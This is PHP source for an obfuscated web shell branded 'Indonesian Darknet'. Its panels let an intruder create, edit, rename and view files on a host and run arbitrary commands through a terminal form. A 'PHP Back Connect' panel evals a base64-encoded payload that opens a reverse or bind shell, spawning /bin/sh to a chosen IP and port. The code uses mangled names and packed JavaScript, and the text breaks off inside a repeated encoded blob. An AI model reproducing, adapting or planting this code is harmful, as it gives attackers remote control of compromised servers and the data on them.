$rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
$rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
eval($rRwNpSflmI);
echo 'Finished...';
echo '</div>';
}
} else {
if ($hzOvuJeFzz == "cfile") {
?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
} else {
if ($hzOvuJeFzz == "cdir") {
?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
} else {
if ($hzOvuJeFzz == "term") {
?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php
echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php
} else {
if ($hzOvuJeFzz == 'edit') {
?>
<h5>Edit file</h5>
<span>File name : <?php
echo RxEfbn6Hey($_GET["n"]);
?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
} else {
if ($hzOvuJeFzz == 'rename') {
?>
<h5>View <?php
echo $_GET["t"] == "d" ? "folder" : "file";
?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php
echo rxeFBn6hEy($_GET["n"]);
?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
} else {
if ($hzOvuJeFzz == 'view') {
?>
<h5>View file</h5>
<span>File name : <?php
echo rXEfBN6HEy($_GET["n"]);
?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
?></textarea>
</div>
<?php
} else {
}
}
}
}
}
}
}
}
?>
</div>
<?php
?>
</article>
<div class="bg-dark border text-center mt-2 py-2">
<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>
</div>
</main>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>
eval(function(p, a, c, k, e, d) {
e = function(c) {
return(c < a?'': e(parseInt(c/a)))+((c = c%a) > 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))
</script>
</body>
</html><?php
}
}
if ($hzOvuJeFzz == "con") {
?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php
echo $_SERVER["REMOTE_ADDR"];
?>" class="form-control">
<input type="number" name="port" placeholder="<?php
echo rand(1, 6) * 1922;
?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php
if (isset($_POST['s'])) {
echo '<div class="my-3">';
$TkCbW35AQi = $_POST['ip'];
$g9_4Zq7xGB = $_POST['port'];
$rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0